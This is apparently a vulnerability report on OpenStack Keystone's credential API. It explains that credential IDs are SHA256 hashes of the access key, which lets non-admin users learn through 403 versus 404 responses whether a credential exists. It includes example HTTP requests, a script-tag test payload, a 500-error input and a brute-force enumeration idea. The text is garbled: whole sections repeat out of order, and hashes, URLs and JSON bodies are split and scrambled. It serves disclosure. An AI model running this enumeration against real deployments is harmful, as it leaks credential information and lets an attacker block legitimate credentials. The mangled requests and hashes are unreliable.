The id from the example above is "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea", which is the same as the SHA256 value of "<script>alert(2)</script>" (you can test this with `echo -n "<script>alert(2)</script>" | openssl dgst -sha256` on *nix)
Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to predict all 32 characters from thin air), but if the MD5 is a hash of a known value (i.e. the string "admin"), it would be trivial to test for common values:
If tenant IDs are used, this task becomes even easier: just generate SHA256 hashes for 0 - 999999
A non-admin user can determine whether there are credentials using a given access key by attempting to access the resource from its sha256 url identifier:
===== EXAMPLE REQUESTS =====
Existing credential
GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1
Host: [ENDPOINT]
X-Auth-Token: [NON-ADMIN TOKEN]
Content-Type: application/json
Connection: close
{"error": {"message": "An unexpected error prevented the server from fulfilling your request.", "code": 500, "title": "Internal Server Error"}}
===== /EXAMPLE =====
I'm unsure what the security impact would be here, mainly because of the ambiguous examples provided in the Keystone API documentation (linked above). If either of the 2 scenarios I outlined is a reasonable use case (i.e. MD5 of a guessable value, or tenant IDs), there may be a risk of information leakage by brute-force. It would also be possible to prevent others from creating credentials with a given access key by simply creating lots of credentials in Keystone with predictable access keys. This would cause a collision whenever attempting to create a credential set with an access key that has already been used.
If, on the other hand, the credentials are always in the format described by AWS here ( link: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html ), it would require a huge number of requests to bruteforce the access key (though it would not be impossible). However, it would be possible, using the approach described above with a regular user token, to determine whether a known EC2 access key was in place as a credential in a given Keystone database.
I'm unclear on the utility of using SHA256 for the identifier at all here, since random UUIDs would make this potential issue moot.
When creating a "credential" in Keystone, instead of using uuid.uuid4() like in most places to generate a unique identifier, the id is created from the SHA256 hash value of whatever is passed in as the "access" key in the POST request (Code here: https:/ /github. com/openstack/ keystone/ blob/master/ keystone/ credential/ controllers. py#L36- L60)
===== EXAMPLE REQUEST =====
POST /v3/credentials HTTP/1.1
Host: [ENDPOINT]
X-Auth-Token: [ADMIN TOKEN]
Content-Length: 231
Content-Type: application/json
{
"credential" : { ":\"<script> alert(2) </script> \",\"secret\ ":\"secretKey\ "}",
"project_ id": "12345",
"user_ id": "12345"
"blob": "{\"access\
"type": "ec2",
}
}
HTTP/1.1 201 Created
Date: Tue, 30 Aug 2016 19:14:54 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: X-Auth-Token
Content-Length: 383
Content-Type: application/json
{"credential": {"user_id": "12345", "links": {"self": "[ENDPOINT] /v3/credentials /141ce7a938b597 3dd71c90bcdd7e4 097317ee7374259 cf6d8774fdfd86c 1f8ea"} , "blob": "{\"access\ ":\"<script> alert(2) </script> \",\"secret\ ":\"secretKey\ "}", "project_id": "12345", "type": "ec2", "id": "141ce7a938b597 3dd71c90bcdd7e4 097317ee7374259 cf6d8774fdfd86c 1f8ea"} }
===== /EXAMPLE =====
The id from the example above is "141ce7a938b597 3dd71c90bcdd7e4 097317ee7374259 cf6d8774fdfd86c 1f8ea", which is the same as the SHA256 value of "<script> alert(2) </script> " (you can test this with `echo -n "<script> alert(2) </script> " | openssl dgst -sha256` on *nix)
The documentation here seems to show MD5s and possibly tenant IDs used as "access" values: http:// developer. openstack. org/api- ref/identity/ v3/?expanded= assign- role-to- user-on- projects- owned-by- domain- detail, create- policy- detail, show-credential -details- detail, list-credential s-detail, create- credential- detail# list-credential s
Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to predict all 32 characters from thin air), but if the MD5 is a hash of a known value (i.e. the string "admin"), it would be trivial to test for common values:
md5(admin) = 21232f297a57a5a 743894a0e4a801f c3 21232f297a57a5a 743894a0e4a801f c3) = 465c194afb65670 f38322df087f0a9 bb225cc257e43eb 4ac5a0c98ef5b31 73ac
sha256(
If tenant IDs are used, this task becomes even easier: just generate SHA256 hashes for 0 - 999999
A non-admin user can determine whether there are credentials using a given access key by attempting to access the resource from its sha256 url identifier:
===== EXAMPLE REQUESTS =====
Existing credential
GET /v3/credentials /141ce7a938b597 3dd71c90bcdd7e4 097317ee7374259 cf6d8774fdfd86c 1f8ea HTTP/1.1
Host: [ENDPOINT]
X-Auth-Token: [NON-ADMIN TOKEN]
Content-Type: application/json
Connection: close
HTTP/1.1 403 Forbidden
Date: Tue, 30 Aug 2016 19:55:24 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: X-Auth-Token
Content-Length: 140
Content-Type: application/json
{"error": {"message": "You are not authorized to perform the requested action: identity: get_credential" , "code": 403, "title": "Forbidden"}}
Non-existent credential
GET /v3/credentials /deadbeef HTTP/1.1
Host: [ENDPOINT]
X-Auth-Token: [NON-ADMIN TOKEN]
Content-Type: application/json
HTTP/1.1 404 Not Found
Date: Tue, 30 Aug 2016 20:03:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: X-Auth-Token
Content-Length: 96
Content-Type: application/json
{"error": {"message": "Could not find credential: deadbeef", "code": 404, "title": "Not Found"}}
===== /EXAMPLE =====
It is also possible to get a 500 error by creating a credential with an invalid character in the "access" key:
===== EXAMPLE REQUEST =====
POST /v3/credentials HTTP/1.1
Host: [ENDPOINT]
X-Auth-Token: [ADMIN TOKEN]
Content-Length: 212
Content-Type: application/json
{
"credential" : { ":\"\uffff\ ",\"secret\ ":\"secretKey\ "}",
"project_ id": "12345",
"user_ id": "12345"
"blob": "{\"access\
"type": "ec2",
}
}
HTTP/1.1 500 Internal Server Error
Date: Tue, 30 Aug 2016 20:06:16 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: X-Auth-Token
Content-Length: 143
Content-Type: application/json
{"error": {"message": "An unexpected error prevented the server from fulfilling your request.", "code": 500, "title": "Internal Server Error"}}
===== /EXAMPLE =====
I'm unsure what the security impact would be here, mainly because of the ambiguous examples provided in the Keystone API documentation (linked above). If either of the 2 scenarios I outlined is a reasonable use case (i.e. MD5 of a guessable value, or tenant IDs), there may be a risk of information leakage by brute-force. It would also be possible to prevent others from creating credentials with a given access key by simply creating lots of credentials in Keystone with predictable access keys. This would cause a collision whenever attempting to create a credential set with an access key that has already been used.
If, on the other hand, the credentials are always in the format described by AWS here ( link: https:/ /docs.aws. amazon. com/AWSSimpleQu eueService/ latest/ SQSGettingStart edGuide/ AWSCredentials. html ), it would require a huge number of requests to bruteforce the access key (though it would not be impossible). However, it would be possible, using the approach described above with a regular user token, to determine whether a known EC2 access key was in place as a credential in a given Keystone database.
I'm unclear on the utility of using SHA256 for the identifier at all here, since random UUIDs would make this potential issue moot.